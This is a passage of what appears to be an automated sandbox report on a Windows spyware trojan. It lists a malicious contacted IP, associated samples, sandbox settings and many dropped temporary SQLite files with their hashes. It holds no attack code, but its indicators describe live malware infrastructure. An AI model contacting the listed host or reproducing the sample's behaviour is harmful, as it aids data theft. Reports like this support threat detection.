                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/right/possesspropertyWXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                http://schemas.xmlsoap.org/ws/2004/04/security/sc/sctWXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpfalse
                                                                                                                                                                                  		high

                                                                                                                                                                                  Contacted IPs

                                                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                                                  Public

                                                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                  91.142.77.155
                                                                                                                                                                                  		unknownRussian Federation
                                                                                                                                                                                  		48720VTSL1-ASRUtrue

                                                                                                                                                                                  General Information

                                                                                                                                                                                  Joe Sandbox Version:33.0.0 White Diamond
                                                                                                                                                                                  Analysis ID:490256
                                                                                                                                                                                  Start date:25.09.2021
                                                                                                                                                                                  Start time:10:15:16
                                                                                                                                                                                  Joe Sandbox Product:CloudBasic
                                                                                                                                                                                  Overall analysis duration:0h 8m 23s
                                                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                                                  Report type:full
                                                                                                                                                                                  Sample file name:WXekVwRNtG.exe
                                                                                                                                                                                  Cookbook file name:default.jbs
                                                                                                                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                                                  Number of analysed new started processes analysed:21
                                                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                                                  Technologies:
                                                                                                                                                                                  • HCA enabled
                                                                                                                                                                                  • EGA enabled
                                                                                                                                                                                  • HDC enabled
                                                                                                                                                                                  • AMSI enabled
                                                                                                                                                                                  Analysis Mode:default
                                                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                                                  Detection:MAL
                                                                                                                                                                                  Classification:mal100.troj.spyw.evad.winEXE@2/25@2/1
                                                                                                                                                                                  EGA Information:Failed
                                                                                                                                                                                  HDC Information:
                                                                                                                                                                                  • Successful, ratio: 12.2% (good quality ratio 11.7%)
                                                                                                                                                                                  • Quality average: 84.7%
                                                                                                                                                                                  • Quality standard deviation: 25%
                                                                                                                                                                                  HCA Information:
                                                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                                                  • Number of executed functions: 10
                                                                                                                                                                                  • Number of non-executed functions: 48
                                                                                                                                                                                  Cookbook Comments:
                                                                                                                                                                                  • Adjust boot time
                                                                                                                                                                                  • Enable AMSI
                                                                                                                                                                                  • Found application associated with file extension: .exe
                                                                                                                                                                                  Warnings:
                                                                                                                                                                                  Show All
                                                                                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.50.102.62, 172.67.75.172, 104.26.12.31, 104.26.13.31, 20.54.110.249, 40.112.88.60, 209.197.3.8, 173.222.108.210, 173.222.108.226, 20.199.120.85, 80.67.82.211, 80.67.82.235, 20.82.210.154, 20.199.120.182
                                                                                                                                                                                  • Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, api.ip.sb.cdn.cloudflare.net, client.wns.windows.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, vip1-wns2-par02p.wns.notify.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                                                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.

                                                                                                                                                                                  Simulations

                                                                                                                                                                                  Behavior and APIs

                                                                                                                                                                                  TimeTypeDescription
                                                                                                                                                                                  10:16:44API Interceptor70x Sleep call for process: WXekVwRNtG.exe modified

                                                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                                                  IPs

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                  91.142.77.1558VISLJjzRN.exeGet hashmaliciousBrowse
                                                                                                                                                                                    H95QHqn3LD.exeGet hashmaliciousBrowse
                                                                                                                                                                                      qsNXV6d1uU.exeGet hashmaliciousBrowse

                                                                                                                                                                                        Domains

                                                                                                                                                                                        No context

                                                                                                                                                                                        ASN

                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                        VTSL1-ASRU8VISLJjzRN.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.155
                                                                                                                                                                                        H95QHqn3LD.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.155
                                                                                                                                                                                        qsNXV6d1uU.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.155
                                                                                                                                                                                        f0eCiAKCaD.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.78.76
                                                                                                                                                                                        l28uMRT0bm.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.92
                                                                                                                                                                                        SecuriteInfo.com.Trojan.Win32.Save.a.17540.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.129
                                                                                                                                                                                        zwAI443nmJ.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.129
                                                                                                                                                                                        d5nviVgR77.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.129
                                                                                                                                                                                        VUd7RUJkiC.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.189
                                                                                                                                                                                        wZtYF1bDrF.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.189
                                                                                                                                                                                        VibR4H3H85.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.189
                                                                                                                                                                                        U6Au1ykFfo.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.189
                                                                                                                                                                                        8sNtkekMJX.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.218
                                                                                                                                                                                        mosoxxxHack.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.35
                                                                                                                                                                                        27fb768ba20cf770d9bdc62e1403196784c903333235e.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.77.189
                                                                                                                                                                                        onekb0XOFQ.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.35
                                                                                                                                                                                        G8y24fzAja.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.180
                                                                                                                                                                                        NaCM5Ysdtq.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.180
                                                                                                                                                                                        8sloK2EqDy.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.180
                                                                                                                                                                                        10EqncBIA8.exeGet hashmaliciousBrowse
                                                                                                                                                                                        • 91.142.79.180

                                                                                                                                                                                        JA3 Fingerprints

                                                                                                                                                                                        No context

                                                                                                                                                                                        Dropped Files

                                                                                                                                                                                        No context

                                                                                                                                                                                        Created / dropped Files

                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WXekVwRNtG.exe.log
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):2291
                                                                                                                                                                                        Entropy (8bit):5.3192079301865585
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:MIHKx1qH2HKXRfHK7HKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHKYHZHxLHqHs:PqxwWqXdq7qLqdqUqzcGYqhQnoPtIxHt
                                                                                                                                                                                        MD5:AC1D59E5183C5AA98A6D7649ADF5A0CD
                                                                                                                                                                                        SHA1:21E7AB307B697EC5C3A3D8C4D61ADA8ADC946C66
                                                                                                                                                                                        SHA-256:6EA269BF1E1B8D694C1E177CA04CC944C6A6F251A70635CD8A0A62563745D357
                                                                                                                                                                                        SHA-512:E9917B7F991E780418992C1A5D271584E39B750D75FCB1573724B7FAE9BAEBD36C76177847DD28BD7912CBAD61617FBB6756B924506E242D2F82D0B020F4F1B4
                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                                                        Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp225B.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Reputation:high, very likely benign file
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp225C.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Reputation:high, very likely benign file
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4101.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4121.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4122.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4123.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                        Entropy (8bit):0.792852251086831
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
                                                                                                                                                                                        MD5:81DB1710BB13DA3343FC0DF9F00BE49F
                                                                                                                                                                                        SHA1:9B1F17E936D28684FFDFA962340C8872512270BB
                                                                                                                                                                                        SHA-256:9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
                                                                                                                                                                                        SHA-512:CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4162.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):20480
                                                                                                                                                                                        Entropy (8bit):0.6970840431455908
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
                                                                                                                                                                                        MD5:00681D89EDDB6AD25E6F4BD2E66C61C6
                                                                                                                                                                                        SHA1:14B2FBFB460816155190377BBC66AB5D2A15F7AB
                                                                                                                                                                                        SHA-256:8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
                                                                                                                                                                                        SHA-512:159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp4163.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):20480
                                                                                                                                                                                        Entropy (8bit):0.6970840431455908
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
                                                                                                                                                                                        MD5:00681D89EDDB6AD25E6F4BD2E66C61C6
                                                                                                                                                                                        SHA1:14B2FBFB460816155190377BBC66AB5D2A15F7AB
                                                                                                                                                                                        SHA-256:8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
                                                                                                                                                                                        SHA-512:159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5F8B.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5F8C.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5FBC.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5FBD.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5FBE.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp5FBF.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
